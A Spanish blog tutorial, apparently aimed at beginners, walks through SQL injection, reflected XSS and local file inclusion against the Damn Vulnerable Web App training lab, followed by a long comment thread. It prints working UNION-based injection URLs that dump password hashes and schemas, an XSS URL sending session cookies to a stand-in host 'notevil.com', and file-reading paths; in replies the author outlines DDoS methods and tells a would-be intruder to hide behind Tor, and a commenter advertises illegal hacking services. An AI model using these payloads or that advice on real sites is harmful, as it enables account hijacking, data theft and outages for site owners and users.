Como hackear páginas web ( en serio )

Publicado por droope el

Las webs hoy en día son cada día mas seguras. ¿O no? Como intento demostrar frecuentemente en twitter, tal vez no sea asi.

Nota: Este capitlo es el primero de una serie de — por ahora — dos capitulos. El segundo es un articulo se especializa en identificar potenciales vulnerabilidades, como hackear paginas web (fingerprinting and information gathering).

Hay muchas herramientas hoy en día para encontrar vulnerabilidades en una web. Si una web utiliza una versión vieja de un CMS, cosa que podemos determinar utilizando una herramienta como Wappalizer o WhatWeb (ver el segundo capitulo de la serie), la cuestión es mas sencilla. Es muy importante hoy en día mantener actualizado nuestro software. En caso contrario, un atacante podría buscar en el changelog de nuestro CMS todo lo referente a correcciones de vulnerabilidades en versiones posteriores a la que nosotros tenemos actualmente.

También hay otras herramientas para hackeear webs, pero yo hoy voy a optar por explicar que tipo de vulnerabilidades se pueden encontrar una web de una manera mas “artesanal”. Este artículo no plantea demostrar un tipo de vulnerabilidad nueva, ni pretende ser la demostración de un conocimiento muy avanzado. Simplemente es una explicación básica de algunos tipos de vulnerabilidades que pueden encontrarse en una web y como un atacante explotaría de ellas. Básicamente, se trata de:

  • Inyecciones SQL
  • Cross Site Scripting ( Javascript injection )
  • Local file inclusion / Remote file inclusion

Para todos los ejemplos, usaremos código de Damn Vulnerable Web App. Te podés descargar esta aplicación para practicar los ejemplos que planteo acá. Todos los ejemplos estan hechos con la seguridad en low. Una vez instalado el app, andá a DVWA Security y elegí “low”.

Inyecciones SQL

Muy frecuentemente se piensa que a través de SQL solamente se puede obtener acceso a la base de datos. Esto generalmente es asi, pero SQL es un lenguaje muy versatil y nos permite hacer muchas cosas… entre ellas leer archivos en el disco duro. De todas maneras, el acceso a la base de datos es bastante catastrófico de por si. El código vulnerable se ve de esta manera:

<?php 
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

En este ejemplo, el código a ejecutarse se obtiene de algún parámetro de la URL, como ser

http://localhost/hack/vulnerabilities/sqli/?id=5

Esto es asi en muchas aplicaciones web, y todo esta perfecto siempre y cuando se filtre la información que envía el usuario. Al no estar escapado el input del usuario, si visitásemos esta URL, nos encontraríamos con la sorpresa de que nos muestra las passwords de los usuarios ( hasheadas con MD5, que puede ser roto fácilmente ).

http://localhost/hack/vulnerabilities/sqli/?id=1'+or+1+UNION+select+password+as+first_name,+user_id+from+users%23&Submit=Submit#

El hacer esto hace que la consulta que realicemos se transforme en

SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1 UNION select password as first_name, user_id from users#’

Aquellos que esten prestando atención se preguntaran como averigué que el campo password se llamaba password, como averigué que el campo user_id se llamaba user_id y cómo averigué que la tabla users se llamaba users. Es simple, como la web es mía y la instalé yo, miré en la base de datos :D

En caso que no podamos darnos ese gusto, hay que recurrir a técnicas mas complicadas… que se pueden encontrar en un link que recomendé antes en mi blog “SQL Injection Pocket Reference“. Lo que voy a hacer es preguntarle a mysql como se llaman las tablas:

http://localhost/hack/vulnerabilities/sqli/?id=5'+UNION+SELECT+table_name,+table_schema+FROM+information_schema.tables%23&Submit=Submit#

Al hacer eso la consulta se transforma en:

SELECT first_name, last_name FROM users WHERE user_id = ‘5’ UNION SELECT table_name, table_schema FROM information_schema.tables#’

Lo que hace que la página nos muestre todas las tablas que existen en mysql, conjunto con que base de datos estan. En mi caso, en conjunto con muchas otras entradas que hay, aparece una que dice

ID: 5′ UNION SELECT table_name, table_schema FROM information_schema.tables#
First name: users
Surname: dvwa

Podemos hacer lo mismo para obtener las columnas:

http://localhost/hack/vulnerabilities/sqli/?id=5'+UNION+SELECT+column_name,+'xss'+FROM+information_schema.columns+WHERE+table_name+%3D+'users'%23&Submit=Submit#

Cross site scripting (XSS)

Cross site scripting es una vulnerabilidad que surge al recibir por algún medio información que luego va a ser incrustada en el HTML de nuestra página sin escaparla correctamente. Hay dos tipos de inyección XSS que podemos encontrar, a los que nos referimos en ingles, cómo reflected y stored. La primera se crea al modificar algún parámetro por get a algún valor que el administrador no esperó, y la segunda se genera al mostrar información previamente guardada en la base de datos.

Refiriendonos a la aplicación, el ejemplo que vemos como reflected sería una URL como esta:

http://localhost/hack/vulnerabilities/xss_r/?name=pedro

Con las vulnerabilidades de este tipo podemos hacer infinidad de cosas, entre las cuales está abusar la confianza que tiene el browser de el usuario con el sitio. La página web localhost, al navegarla por primera vez creó en mi browser una cookie que guarda toda la información sobre mi, un session id. Como podemos leer en este excelente artículo, esta es el único medio que tiene el server para diferenciar e identificar usuarios. Una vez obtenida la cookie de un usuario, podemos suplantar su identidad.

Normalmente esto es una tarea dificil, ya que el browser del usuario entrega esa información solamente al servidor correspondiente. Pero eso para nosotros no es problema, ¿No? Podemos ejecutar código javascript en él, asique por lo tanto el browser nos va a dar lo que no debería.

Para hacer que un usuario nos envíe sus cookies, debemos hacer que visite una URL como esta:

http://localhost/hack/vulnerabilities/xss_r/?name=%3Cscript%3Eajax+%3D+new+XMLHttpRequest();ajax.open('get',+'http://notevil.com/steal.php%3Fcookie%3D'+%2B+escape(document.cookie),+true);ajax.send(null);%3C/script%3E#

Es poco probable que un usuario clickée un enlace asi, pero si quieren ver uno que quizás clickée, clickeen aqui.

El stored XSS sigue la misma lógica, excepto que la información queda guardada en la base de datos.

File inclusion

El file inclusion lo podemos encontrar cuando una aplicación web incluye archivos basado en el input de un usuario. Hay dos tipos de file inclusion, el local file inclusion y el remote file inclusion. Como sus nombres indican, el local incluye archivos locales y el remote incluye archivos remotos, todo esto respecto al servidor.

En el caso de nuestra aplicación vulnerable, tenemos un LFI. ( podría ser un RFI también si tuviesemos configurado allow_url_include en nuestro PHP )

http://localhost/hack/vulnerabilities/fi/?page=include.php

A través de él tenemos acceso a todos los archivos a los que tenga acceso el usuario con el que se está corriendo apache. Por ejemplo /etc/hosts

http://localhost/hack/vulnerabilities/fi/?page=/etc/hosts

O el readme de la aplicación:

http://localhost/hack/vulnerabilities/fi/?page=../../README.txt

¡Espero que les haya gustado! Recuerden seguirme en twitter o suscribirse a este blog usando la opción el el menú de la izquierda para recibir mas artículos como este.

Se que esto es no es facil de seguir. Sepan que leo todos los comentarios, pero que me es imposible ensenarles a todos o a un par de ustedes. De todas maneras, sigan comentando si tienen alguna duda! Voy a intentar ayudarlos. Tambien les recomiendo este tutorial, tiene muchas cosas muy interesantes!

Tambien les recomiendo el proximo capitulo de la serie como hackear paginas web, “como hackear paginas web (fingerprinting)“;

Un saludo,
Pedro

481 Respuestas a “Como hackear páginas web ( en serio )”

    • Hola Mariano,

      creo que puede ser que haga un tutorial mas específico con inyecciones SQL. Sin embargo, tendrías que aprender para que sirve el SQL y cómo se hacen las consultas SQL legítimas. ;)

      Un abrazo grande,
      Pedro

      Responder

      • amigo , puedes hacer un video tutorial o algo?? o me envias algo por correo y una ultima cosa se puede hacer un sql injection en paginas mm no tan vulnerables ??? gracias…

  6. hola..fijate que deseo saturara una pagina web para dejarla en desuso no se si me puedas ayudar te lo agradeceria mucho..tengo solo un peque;o conocimiento sobre el comando “PING” si me podrias explicar otras tecnicas sencillas o utilizacion de programas para hackear…y recomendaciones para un buen hackeo…saludos

    Responder

    • Hola Cris.

      Saturar una página web es una de las formas mas sencillas de tirar abajo un sitio web. Quizás debas aprender un poco de programación para crear tu propia botnet y de ahi en mas poder tirar sitios web que tengan menos banda ancha que tu botnet. Otra forma es encontrar vulnerabilidades en algún software que el servidor tenga instalado que te permita hacer un DDOS, o sinó la mas sencilla encontrar alguna parte de la aplicación web que requiera mucho procesamiento de parte del servidor. Una vez que la encuentras puedes repetir ese procesamiento realizando muchísimas peticiones hasta que se sature. :)

      :)

      de todas formas, para entretenerte te recomiendo hackthissite.org

      Responder

  7. hermano me podrias ayudar a hackear una red para modificarle unos datos, de verdad te lo agradeceria, espero tu respuesta a mi correo, muchas gracias, espero tu ayuda,gracias.

    Responder

    • Hola hector!

      Disculpame, no tomo ese tipo de trabajos… te puedo recomendar que hagas tus pruebas a través de tor, y que intentes ser lo mas anónimo posible.

      Un abrazo,
      Pedro

      Responder

      • solo quiero borrar una materia, ya paso el periodo de registro y no quiero que me afecte…. no es para dañar la pagina, solo para no perjudicarme yo.
        Me harias un gran favor

    • Hola amigo!

      Gracias por la propuesta! No suelo aceptar propuestas de ese tipo… disculpa. De todas maneras no se mucho de esas cosas yo ^^

      Un abrazo,
      Pedro

      Responder

    • Hola amigo!

      No es tan sencillo como parece, te recomiendo que empiezes a aprender en hacktissite.org. Igualmente no se mucho…

      Un abrazo,
      Pedro

      Responder

    • Hola Julio,

      Muchas gracias por comentar en mi Post! La verdad es que yo no sabria lo suficiente como para ense;ar a nadie… Disculpa.

      Un abrazo,
      Pedro

      Responder

    • Por supuesto! Nos vemos en hotmail.com a las 16 hs del martes.

      Jaja, no, mentira! Cualquier cosa si me precisas, dejame un comentario pidiendome mi mail y veo como te puedo ayudar, dale?

      Un abrazo,
      Pedro

      Responder

    • Hola amigo, disculpa, no tendria tiempo para hacer una cosa asi. Te sugieor que de pronto visites hackthissite.org, ahi te van a ensenar y vas a aprender poco a poco.

      Un abrazo,
      Pedro

      Responder

  18. Hola amigo me gustaria si depronto me pudiera ayudar a iniciarme como hacker y veo que usted sabe si depronto pudiera enviarme algun tutorial o manual sencillo para ir empezando.

    Gracias por ayudar a educarnos con esta clase de material

    Responder

    • Hola amigo!

      Perdona la demora, estoy a mil con muchas cosas y no encontre tiempo para contestarte. Yo para aprender arranque con hackthissite.org, te lo recomiendo.

      Un abrazo,
      Pedro

      Responder

    • Hola amigo Jevo!

      Lamentablemente no seria capaz de hacer algo similar… Te pido disculpas. Sin embargo, en vista de que es un tema delicado – y un poco bastante ilegal, digamos -, te sugiero que te comuniques por canales mas privados ( y usando encripcion )

      Humildes saludos,
      Pedro

      Responder

    • Hola amigo,

      Me puedes contactar por correo, avisame si te interesa. Pero de todas maneras he de decirte que estoy bastante ocupado y se me complicaria para ayudarte.

      Un abrazo,
      Pedro

      Responder

  21. Pingback: Compilado de enlaces « programacion@droope

  23. Quisiera saber la mayoria de lo que sabes, dime en donde me alimento de informacion por favor y si tienes documentos, pdf, videos, lo que sea que sirva, pasalos porfavor… Te lo agradeceré demasiado !

    Responder

    • Hola amigo!

      Hay muchisima informacion online, realmente, y comprendo como es que llegas a saturarte. Esta mismisima pagina web es un ejemplo de vulnerabilidades potenciales que podrian existir en una pagina web. Para aprender a utilizarlos vas a tener que esperar a que libere la proxima version.

      Un abrazo,
      Pedro

      Responder

  24. Hola, yo quiero saber dónde puedo aprender las diferentes formas de entrar a una web y modificarla o borrar archivos, algo así como un curso online.
    Es que quiero intentar hackear mi propia web y ver como hago para que no tenga vulnerabilidades, además el otro día entré a un sitio que era copia de taringa y vi que solo tenía un mensaje, algo así como “Esta web fue hackeada por [Acá tenía un nombre] , esto les pasa por meterse con [Acá tenía el link de otra página web copia de taringa]” Y quisiera saber dónde aprender a hacer cosas así.

    Responder

    • Hola amigo,

      Gracias por el comentario! Si quieres un curso online hackthissite.org se precia de ser un entrenamiento de hackers underground, pero no se si sera algo parecido a lo que tu necesitas.

      Un abrazo,
      Pedro

      Responder

    • yo tengo un curso de hackeo completo…inscribite y avisa a los demas en bryam.hazblog.com y les dejare cualquier programa que me pidan….

      Responder

    • Hola amigo,

      Hackear una pagina web es igual de sencillo o complicado independientemente de su tamano, y creo que si no sabes nada sera bastante complicado. Por lo pronto, te recomiendo que sigas insistiendo. Para el tiempo en el que aprendas como se hace ya no te va a interesar hacerlo, pero igual valdra la pena.

      Un abrazo,
      Pedro

      Responder

    • Hola amigo,

      No presto esos servicios, pero si los prestase seguramente cobraria mucho mucho dinero :P

      Un abrazo,
      Pedro

      Responder

    • Gracias amigo!

      Tus comentarios y sus visitas me inspiran a seguir publicando cosas, muchisimas gracias.

      Un abrazo,
      Pedro

      Responder

  28. hola pana como estas me podrias ayudar un poco de como hackear una web con ataques DDoS ya que me interesa mucho esto pero la verdad es que nose nada solo tengo una web bien completa pero nose nada en adsoluto sobre el hackeo de DDoS nose si es con mi hosting que realizaria las consultas etc…

    ayudame un poquito porfavor

    Responder

    • Hola amigo!

      Por supuesto! Solo tienes que seguir intentando y perseverar, seguro que lo vas a lograr con tiempo. :)

      Un abrazo,
      Pedro

      Responder

      • Si pero ayudame como hacerlo xD

        por que la verdad nose como empesar por ejemplo dime un tuto de que debo hacer como por ejemplo si quiero hackear mi propia web que es este foro

        sexyplanet.com.ar

        saludos

  30. oye amigo quisiera que me ayudaras pues en 2 cosas primero aprender
    a hackear siempre e estado interesado y segundo ayudarme a recuperar mi localhost me lo hackeron y no se recuperarlo

    Responder

    • Hola amigo,

      No entiendo muy bien a que te referis. Me estas diciendo que hackearon tu xampp? No estoy muy seguro. Si esta en tu computadora, deberias tener muchas formas de recuperar el control ;)

      Un abrazo,
      Pedro

      Responder

  31. Hola de nuevo amigo como estas….

    solo queria preguntarte de nuevo….

    enséñame por favor como hackear una web o pasame un tutorial donde tenga todo explicado por ejemplo

    para hacer un ataque DDoS debes dirigirte a tal sitio hacer clic en tal cosa etc… se que me entiendes por favor es solo para aprender

    saludos y gracias

    Responder

    • Hola amigo,

      El problema es que no hay un manual paso a paso. Por ejemplo, para hacer un ataque DDOS tienes 2 posibilidades:

      1) Tener muchos mas recursos ( Banda ancha / procesador / memoria ) que el servidor en cuestion que piensas atacar. Si atacas un servidor que tiene una coneccion de – por ejemplo – 100 GB con una botnet que tiene una capacidad de transeferencia de – digamos – 1000 GB, probablemente en servidor se saturaria mientras dure el ataque y no pueda responder al trafico legitimo.

      2) Encontrar alguna peticion que consuma muchos recursos. Por ejemplo, si encuentras una peticion en el servidor remoto que tenga que hacer muchos pedidos a la base de datos, al repetirla 10.000 veces el servidor se saturara y probablemente algo malo pase ( el sistema se quede sin memoria, el proceso crashee, etc. )

      Comprendes? Lo unico que tienes que lograr es eso. El problema, claro esta, que no es tan sencillo.

      Un abrazo,
      Pedro

      Responder

    • Hola amigo!

      gracias por tu comentario. Me encantaria ayudarte, pero no creo que sepa lo suficiente como para hacerlo :(

      Responder

  33. Hola, me llamo Melissa, estoy buscando una manera de hackear una pagina por un problema urgente y grave q tengo, no se si me podrias ayudar, estoy algo desesperada, gracias

    Responder

    • Hola Melisa!

      Comprendo tu situacion, pero lamentablemente no hay nada que pueda hacer para ayudarte, yo tambien soy bastante novato en todo esto. :)

      Un abrazo,
      Pedro

      Responder

    • bueno la unica ayuda q te ´puedo dar esq estudies criptografia,porogramacion en codigo habierto x´D mejor dicho ciencias en la computacion ! x´D y asi podras hackear !

      Responder

  35. jajajaja viendo los comentarios me doy cuenta que hay muchos lammers que piensan que van a encontrar un software que solo diga pagina a hackear y comensar hackeo jajajaja tontos o algo peor que programar es solo teclear nombre de programa jajaja primero aprenda a usar su pc en modo consola despues programación c++, php y traten de aprender la mayoria de los lenguajes de programación ;)

    Responder

  36. hola saves a mi me gusta esto y mucho y si me puedes ayudar
    alguna pagina para aprender algo de hack porfa,
    bueno adios !

    Responder

  37. me parece que la explicacion seria un poco mas sencilla para los que aun no saben como dejarles un programa o simplemente este truco les da hackeando:

    ( javascript:document.body.contentEditable =’true’;
    document.designMode=’on’; void 0 )

    despues de cargar la paina lo ponen borrando el link de la pagina y listo modificas lo que quieras borras y escribes….jajajaj

    Responder

  38. inscribanse en mi blog que es bryam.hazblog.com
    y les dejare los links con cualquier programa solo inscribanse y me piden les subo cualquier programa …… gratiss…..

    Responder

  39. manga de putos porque no se dejan de boludear y se ponen a trabajar, son la lacra de esta sociedad, y se piensan que son unos grandes, grandes pelotudos son, pierden el tiempo en esto y lo mas lindo es que no logran hackear nada, solo entorpecen un poco cuando pueden, eso no sirve, entra a una base de datos y borra todo, demostralo boludon

    Responder

  41. te agradesco men por esa publicacion pues estoy apunto de comprar una tablet en la wed y si me estafan pues sabre que hacer con tal sitio un saludo men

    Responder

    • ja ja ja :D wordpress.com no es vulnerable! tiene millones de usuarios a lo largo del mundo ^^ alguien seguro lo ha intentado antes que tu

      Responder

  46. hola pedro.! nesecito que me guies con algunas dudas que tengo sobre hack de paginas agregame al msn asi chateamos si te parece

    Responder

    • Hola amigo,

      Eso es probablemente porque te serviria tener un fundamento, principalmente en como escribir consultas SQL. Probablemente te sea conveniente aprender a programar en PHP y aprender MySQL. ;)

      Un abrazo,
      Pedro

      Responder

  49. le estais preguntando al chaval aprender a hackear pero no se nada,con todos mis respetos para todos,por eje:no podeis construir una casa en 2 dias sin tener ni idea,sobre este tema os debe gustar o haber
    estudiado,no es nada facil,hay muchos aqui qe no saben utilizar la ventana de comandos o incluso sqlite qe es el principio de los principios de los principios,es como preguntarle a un ingeniero aeronautico qe te aprenda a fabricar un avion para luego prepararlo jejeje,si os gusta os recomiendo cursos gratuitos qe hay millones en google,ver videos,probar,y muchas muchas horas con dolores de cabeza jejejej y despues le preguntais,aprended a utilizar la ventana de comandos,linux,sql,php,html,pfff y yoqese perderte muxo por internet preguntando dudas de lenguajes,comandos,archivos,y un largisiiiimoo etc,un saludo a todos,si os gusta lo hareis y si vais a hacer un mal uso cuidado qe no os pillen;)

    Responder

    • Hola Jose!

      Muchas gracias, comparto todo lo que tu dices :)

      En lo personal, mi interés es aprender todo lo relacionado con seguridad informatica. Esto es un motivo de por sí, no lo hago para lograr otra cosa.

      Como dice en el blog darknet, “Don’t learn to hack. Hack to learn.” :)

      Un abrazo,
      Pedro

      Responder

  50. por cierto amigos otro eje:estoy yo con un abogado y junto ami hay un guardia civil,qe me pasaria si le pregunto al abogado por ejemplo como engañar al juez con un articulo,lo primero qe el abogado me diria qe es ilegal y qe no se nada del tema,”aunqe el abogado lo hiciera por su lado”,luego la guardia civil me diria ponte mirando pa cuba jejejej,lo qe intento decir es qe pedro kiere qe le pregunteis por email,para ser algo mas privado ya qe lo qe le estais preguntando tiene delito,el en ningun momento comete delito porqe a atentado contra su pagina web con fines del aprendizaje de la seguridad informatica y todos los comentarios qe estais poniendo en esta pagina lo ve la guardia civil,hay qe tener un poco de sentido comun;)

    Responder

  51. si os gusta la informatica,aprender es bonito pero no para fines delictivos,siempre es bueno cuando es confines educativos tal y como lo muestra pedro ,haced lo correcto y no lo facil y vivireis mas tranquilos
    y felices,por cierto para qe sirve pues por ejem:el otro dia un vecino se conecto a mi router mire en mi lista del DHCP y comandos cmd y me estaba robando internet y el mu tenia puesto su nombre de usuario,pues lo qe hice esqe filtre la mac me llege a su casa y se lo dije,y le entro un poco de verguenza porqe se le puso la cara como un tomate jejjejejeje,todo aprendido para mi seguridad informatica:)

    Responder

  52. Hola amigo, me gustaría saber mas sobre la seguridad informática y todo sobre un hacker, quiero aprender desde 0, ya que lo malo es que no se programación:( y pues muchos dicen que es lo fundamental de ser un hacker, te agradecería tu respuesta amigo, o si me puedes recomendar algún sitio para iniciarme en este medio, para no ser víctima de hackers :S muchas gracias hermaano! esperaré tu respuesta! por si quieres aquí te dejo mi correo! :D

    Responder

    • Hola amigo!

      Esta bien, todos empezamos sin saber nada, lo importante es que te guste y ponerle huevos. Yo en lo personal aprendi primero HTML, luego CSS y luego de varios años aprendi PHP en hackthissite.org.

      Respecto a lo de no ser victima de hackers, tu razonamiento me parece de lo mas correcto! que mejor manera de protegerse!

      Un abrazo,
      Pedro

      Responder

  53. Hola querido amigo me mandas un mail explicandome algunos truquillos para ser en la web,o algo para windows cuando anda mal,nose algo interesante que una persona normal no sepa,por ejemplo algun truco para twitter que lo uso bastante mas de lo normal y tengo la sensacion que hay seguidores que saben cuando me conecto,tambien como tener un canal con botones raro en twitter,gracias por tu atencion.
    Saludo.

    Responder

  54. Hola amigo..!

    Estoy interesado en aprender vulnerabilidades web, espero tener respuesta, ya que tengo una página en específico…espero que me puedas ayudar…graxias

    Responder

  55. hi amigo pedro me parecio muy interesante tu aporte pero quisiera que si me puedes enviar un mail con mas informacion espero que me podras ayudar gracias

    Responder

    • Hola Amigo!

      Muchas gracias por tu comentario! La verdad que dificilmente tenga tiempo. Pero si quieres postear mas comentarios por aca te puedo solucionar tus dudas!

      Un abrazo,
      Pedro

      Responder

      • hola necesito saber direcciones de paginas que al pidan el usuario y contraseña y que pueda entrar como administrador

      • Uhhm. Por lo pronto esta pagina que estas viendo pide usuario y contraseña. droope.wordpress.com/wp-admin

        te refieres a eso?

      • hola necesito saber direcciones de paginas que al pidan el usuario y contraseña y que pueda entrar como administrador.. me lo pueden ayudar me urge…

  61. bro se maso menos de programación pero quisiera saber como umbar una pagina por completo y de como ocultar la ip sin ser detectado por favor te lo agradeseria mucho

    Responder

  62. Que tal compañero veo que es super la informacion que nos distes , pero me gustaria saber aun mas tengo problemas con entender sobre las vulnerablidades de una web , e consiguido barias vulnerabilidades en citios web conosidos pero no se que hacer con eso me dijeron que creara un bug en la aplicacion que esta corrienda la vulnerabilidad pero no como hacerlo.
    Tambien quiciera conoser sobre que hago si encuntro un puerto corriendo una aplicacion sin atulizar puedo atacarla y de que forma.
    Mi email por si me quieres responder.

    Responder

  63. hola, me gustaria aprender a hackear en serio, me gustaria que me mandases un mail con recomendaciones y de ser posible si podes enseñarme algo del tema, no me molesta aprender ;D (ni preguntar)

    Responder

    • Hola amigo!

      Ten mucha paciencia, que lleva mucho tiempo. Aprender a programar puede ser divertido, si te parece.

      Un abrazo,
      Pedro

      Responder

  65. hola necesito saber direcciones de paginas que pidan el usuario y contraseña y que pueda entrar como administrador.. me pueden ayudar me urge…

    Responder

  67. Hola quciera saber como hackear una pagina de mu qegentina, me borraron muchas cosas y me costo mucha plta sus administradores se hacen los tontos y no me reponen nada como ?

    Responder

  69. hola hola, me ha parecido muy interesante lo que explicas, tengo algunas dudas, la principal, todas las paginas son vulnerables? o bien alguna puede no serlo? estoy con una pagina y me esta costando mucho encontrarle la vulnerabilidad será posible que no tenga?? agradecería mucho tu respuesta y ayuda, gracias!! y nuevamente que buena información :)! xoxo

    Responder

  71. Hola me gustaria hablar contigo para que me sacaras de una duda, por favor si fueras tan amable de ponerte en contacto, muchas gracias. un saludo.

    Responder

  72. HOLA MI AMIGO SABES Q TENGO UNA APLICACION EN JAVA CON STRUTS DESEO SABER QUE TAN VULNERABLE ES COM PUEDO SABERLO AYUDAEM PR FAVOR GRACIAS

    Responder

    • Hola amigo!

      La eleccion de tecnologia no hace a la aplicacion de por si mas segura, sino las buenas practicas llevadas a cabo. No podria decirte mucho sin mas informacion, pero estoy a las ordenes si precisas cualquier cosa!

      Un abrazo grande,
      Pedro

      Responder

  74. Jajaja buenas… como verán el secreto que actualmente existe esta en uno de los puertos de windows que viene abierto por defecto, la ip es muy fácil de hallar busquen cualquier troyano que tenga herramientas del tipo de hackeo que necesitan, investiguen a su victima, el mensaje o un archivo enviado es el secreto de obtener la ip conectenla a su troyano y tendran acceso a lo que deseen la ip dinámica cambia de un momento a cualquier otro, con el cual yo creo tiempo suficiente de hacer lo que queramos. la mejor forma de hackear es ver en tiempo real a tu victima, investiguen como ser lo mas anónimamente para no ser cazados ya que entrar a otra pc es ilegal (conciderado un crimen) saludos a todos y suerte. recuerden sean anonimos REPITO ANONIMOS….
    PD ANONIMOS XD, nos revimos gente…

    Responder

  75. hola pedro, me podrias ayudar, saber cual programa me ayuda para saber en que esta progrmada una pagina web, solo eso solo quiero saber conque esta programada

    Responder

    • Hola amigo!

      Mucho me temo que seria demasiado texto para entrar en cualquier comentario, mas bien un asunto de varias paginas. Muchas gracias por comentar igual!

      Un abrazo enorme,
      Pedro

      Responder

  77. Puedes proporcionarme tutoriales para crear paginas web pero que sea de lo que ahorita se esta manejando para crear una pagina web

    Responder

  78. Buenos dias pedro! espero estes bien, mi caso es q quiero entrar al facebook de mi novia para ver los chat privados que ella tiene con unos amigos que tiene agregados, porque presumo que se esta viendo con alguien, esto ocurre porque ella no quiere que yo los agregue como amigos, solo quiero constatar esa informacion hermano, mucho sabria agradecerte, mi futuro depende de esto!! gracias de ante mano!! saludo!

    Responder

  80. HOLA! PEDRO ME GUSTO TU POST Y ESTOY ENTRANDO AL MUNDO HACK YA SE UN POCO PERO ME FALTA ASI QUE NO ME VENDRIA MAL TU AYUDA TE DEJO MI MAIL SALUDOS
    PD: PUEDES HACER MAS TUTORIALES DE INYECCION SQL Y TU CANAL EN YOUTUBE ME LO ENVIAS.

    Responder

  81. por eso siempre verifico (con las expresiones regulares), saneo, escapo, etc, etc, etc todo en el servidor antes de usar o representar algún resultado

    Responder

  82. Hola queria saber como se puede recuperar una contraseña de una cuenta online, ya que me hackearon y instantaneamente le cambiaron el email a esa cuenta junto con la contraseña

    Responder

    • Hola amigo!

      Muchas gracias por tu comentario! No hay ninguna diferencia con hackear sitios web normales! Un server es solo una base de datos y un conjunto de endpoints remotos. :)

      Responder

    • Hola amigo!

      No te preocupes, todo esto lleva tiempo. Eventualmente vas a entender!

      Gracias por tu comentario.

      Un abrazo,
      Pedro

      Responder

  85. Necesito hacerte una consulta sobre un tema que seguro dominas muy bien. Espero tu mail para explicarte bien. Gracias por tu tiempo.

    Responder

  86. Hola quisiera que me ayudaras y por favor te lo pido a hackear un foro.Ya que el administrador de tal foro esta atacando mi blog sin motivo alguno y no para.Espero tu respuesta por favor necesito ayuda.

    Responder

    • Hola amigo!

      Muchas gracias por escribir!

      Lo mas conveniente en este caso seria invertir tiempo en hacer tu blog mas seguro, y tambien en tecnologias que te permitan reflectar DDOS y demas.

      Por lo otro, la verdad que no sabria como empezar!

      Un abrazo grande,
      Pedro

      Responder

  87. Hola que tal, quisiera que me ayudaras, me gustaria aprender todo esto pero no se por donde empezar tal vez me puedas orientar.

    Responder

  90. Pingback: Hackear paginas web II (Fingerprinting and Information gathering) « programacion@droope

    • Hola amigo!

      Bienvenido a mi blog! Mi casa es tu casa, cualquier duda o pregunta que tengas me puedes preguntar.

      Un abrazo,
      Pedro

      Responder

    • Hola amigo!

      Tumbar una web es una tarea complicada, porque aunque lo logres en general los due;os de la web tendran un backup y la van a volver a subir prontamente. Un DDOS tampoco serviria mucho!

      Responder

  95. hola amigo, una preg si me podrias decir como hackear una pag q te podes crear una cuenta , queria saber cm poder entrar a la pagina y cambiar algunas cosas . gracias amigos saludos

    Responder

  97. Hola, me gustaria saber como hackear un juego llamado “Digimon Battle”, por lo menos saber que necesito para hackearlo??? herrmientas etc…

    Responder

  101. hola amigo pedro podrias mandarme algun tutorial para hackear una web solo para poder ingresar al sistema y registrarme para bajar una información para y estudiar los buenos cursos que brindan sobre electrónica. gracias de antemano y saludos.

    Responder

  102. hola amigo pedro podrias mandarme algun tutorial para hackear una web solo para poder ingresar al sistema y registrarme para bajar una información para estudiar los buenos cursos que brindan sobre electrónica. gracias de antemano y saludos.

    Responder

  106. hola te molesto si me ayudaras a recuperar el control de un myspace, mande mi equipo a limpiar y el “inge” me robo mis contraseñas, a travez de ese myspace controlaba unos videos en yuotube y les puso unas linduras, te lo voy a agradecer y me pongo a mano tu dices.

    Responder

  109. hola me parece muy bien el tutorial, digo que me parece porque no lo entiendo mucho de como aplicarlo, espero que despejes mis dudas, entiendo lo que es programacion php , base de datos mysql,
    muy bueno

    Responder

  114. hola aver si me puedes ayudar necesito borrar, eliminar una pagina de un sitio web que publican anuncios donde me agravian,
    no quiero eliminar todo el sitio web solamente una pagina donde han publicado un anuncio , el sitio web es donde se realizan publicaciones gratuitas donde cualquier usuario se registra y publica un anuncio, he tratado de contactar con el administrador de esa web pero parece que se ha muerto (que no sea)o esta en abandono. alguna idea de realizar esto o tal vez eliminandolo de la busqueda de los navegadores, aunque he tratado de hacerlo pero me indican que debo primero pedir que eliminen esa pagina te agradesco de antemano cualquier ayuda

    Responder

    • Hola amigo!

      Lamento no poder ayudarte. Las opciones mas viables son, como siempre repito, contactar al administrador o la justicia, si el asunto es grave.

      Un abrazo,
      Pedro

      Responder

  116. me podrias enseñar la manera de borrar, eliminar o tal vez bloquear que el navegador muestre la informacion de una pagina de un sitio web
    es posible realizarlo, es un sitio web donde un usuario se inscribe y pone un anuncio , he tratado de contactar con el administrador de esa web pero parece que se ha muerto(ojala que no) o esta abandonada,para que me borre el anuncio donde me difaman
    muchas gracias

    Responder

    • Hola amigo,

      Mucho me temo que las formas que tu mencionas son las mas realistas. Hackear el sitio web esta mas cerca de lo irrealizable de lo que te imaginas!

      Un abrazo,
      Pedro

      Responder

  117. *Faaaaaaaaa eh visto buenos administradores, pero vos pedro la llevas muy bien respondiendo y no abandonando a noobs xD.
    *Abrazo grande pa y segui aportando ;).

    Responder

  118. Menudo hacker. No termine de leer todo porque estoy desde el móvil lo provare a ver que tal. En una parte dices que con un codigo se pueden ver contraseñas y usuarios, esto me interesa con la crisis que hay pienso robarle el dinero a los que desperdician : ) hu hu ha ha ha. A ver si busco tu email por aqui y a ver si me respondes un saludo.

    Responder

    • En realidad no soy un hacker, resulta que soy un programador. El saber como funciona el software (lo se porque yo lo creo 8 horas al dia) me da apenas un leve entendimiento de porque estas vulnerabilidads funcionan como funcionan.

      La verdad es que aun tengo mucho para aprender, y cualquier experto en seguridad que me vea te dira lo mismo! :)

      Responder

      • me gustaria aprender eso que haces, men mandame un mail para aprender sobre eso del hack no se nada sobre eso gracias :)

  119. SI NECESITA UN HACKER PUEDEN CONTACTAR A:
    hack-pentest@hotmail.com
    SERVICIO:
    – CAMBIO DE NOTAS DE UNIVERSIDADES

    – CONTRASEÑAS DE CORREO Y REDES SOCIALES

    – HACKING WEB

    – BORRADO DE HISTORIALES BANCARIOS

    – EXTRACCIÓN DE EXÁMENES DE OPOSICIÓN

    Responder

